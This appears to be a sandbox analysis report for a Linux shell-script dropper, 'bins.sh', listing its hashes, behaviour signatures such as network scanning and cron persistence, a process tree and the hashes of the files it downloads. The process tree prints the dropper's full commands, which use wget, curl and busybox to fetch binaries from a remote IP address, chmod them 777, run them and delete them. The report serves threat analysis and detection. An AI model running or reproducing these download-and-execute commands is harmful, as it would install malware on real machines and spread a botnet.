Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05-11-2024 02:43

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    701c9675dc7807d17a43199356d85a0b

  • SHA1

    3fef590ee0fbc9d16043732e239342d6d0dbaff6

  • SHA256

    b72cf0c01db021d59068dd1bdd23a4610251b9fb3b7081130fb12d9723296078

  • SHA512

    32b9af3d088dc5e91d175f39ff8135976ab85f304aa319422f45de4dd836940b6687a19049e8c0b3ed847525c4c9f3d792dcb0df02e2c26f5dd91d3821532768

  • SSDEEP

    192:HCVZUrDyiNRg1FX8s1i2a0W90w0ArTQgLau9EUFilVZUrDnNRg1FH8s1i2I0W90M:HciNRg1FX8s1i2rW+NArTQgLau9EUFiK

Malware Config

Signatures

  • Contacts a large (2095) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1501
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1502
        • /usr/bin/wget
          wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          ./wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Executes dropped EXE
          PID:1511
        • /bin/rm
          rm wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
            PID:1513
          • /usr/bin/wget
            wget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/chmod
            chmod 777 R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • File and Directory Permissions Modification
            PID:1517
          • /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            ./R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Executes dropped EXE
            PID:1518
          • /bin/rm
            rm R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
              PID:1520
            • /usr/bin/wget
              wget http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Writes file to tmp directory
              PID:1522
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /bin/chmod
              chmod 777 Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • File and Directory Permissions Modification
              PID:1524
            • /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              ./Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Executes dropped EXE
              PID:1525
            • /bin/rm
              rm Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://87.120.84.230/bins/627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/chmod
                chmod 777 627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                2⤵
                • File and Directory Permissions Modification
                PID:1531
              • /tmp/627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                ./627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                2⤵
                • Executes dropped EXE
                PID:1532
              • /bin/rm
                rm 627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                2⤵
                  PID:1534
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK
                  2⤵
                  • Writes file to tmp directory
                  PID:1535
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK
                  2⤵
                  • Writes file to tmp directory
                  PID:1536
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK
                  2⤵
                  • Writes file to tmp directory
                  PID:1537
                • /bin/chmod
                  chmod 777 5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1538
                • /tmp/5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK
                  ./5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK
                  2⤵
                  • Executes dropped EXE
                  PID:1539
                • /bin/rm
                  rm 5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK
                  2⤵
                    PID:1541
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1542
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1543
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1544
                  • /bin/chmod
                    chmod 777 bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1545
                  • /tmp/bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU
                    ./bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    PID:1546
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:1548
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:1549
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:1550
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:1551
                        • /bin/rm
                          rm bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU
                          2⤵
                          • System Network Configuration Discovery
                          PID:1553
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/KP8cGEmkeisfkifjVjeDmgHM8VCmN1xDGp
                          2⤵
                          • Writes file to tmp directory
                          PID:1556

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/5iF408E6RCaP37LsyTSs2gZ3kSml1cUWfK

                        Filesize

                        117KB

                        MD5

                        849fa04ef88a8e8de32cb2e8538de5fe

                        SHA1

                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                        SHA256

                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                        SHA512

                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                      • /tmp/627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/KP8cGEmkeisfkifjVjeDmgHM8VCmN1xDGp

                        Filesize

                        12KB

                        MD5

                        e41117a074ae9e9df4182254feb414b7

                        SHA1

                        6ca62257ea7c2f3fcf70bdb310c139bc458e572f

                        SHA256

                        989dd4933f4e0eb8583b8b05f81b10124204ac97461b684f847d55da0559a55f

                        SHA512

                        f92656652dff9c13692479816aef7e78483a67df103aafaddd3f627a52bb952aa6d0904910a36b415b027fd4434376023fbefba4ff49add881f25bea30a0b817

                      • /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/bNB4acwjhKMBAQxF0cIPWIl3Fx16NGOPhU

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /var/spool/cron/crontabs/tmp.suInTj

                        Filesize

                        210B

                        MD5

                        0530b0b2c16e45a111e6bb427aa6caf6

                        SHA1

                        97c6aa11e4899f91533aa30a7bdfef48f38b7bb8

                        SHA256

                        53edf930914a88a60f79cd4a21333062f9e945a86c171dfd8ad9967d183294c9

                        SHA512

                        ec992cd7d49c9c32e55540f0d87910d8ac7e29f851d87b42082107f0924568203a8dead4c157dc4daba99858c658cbe54859513ed1edd5e00feecfd2193a8449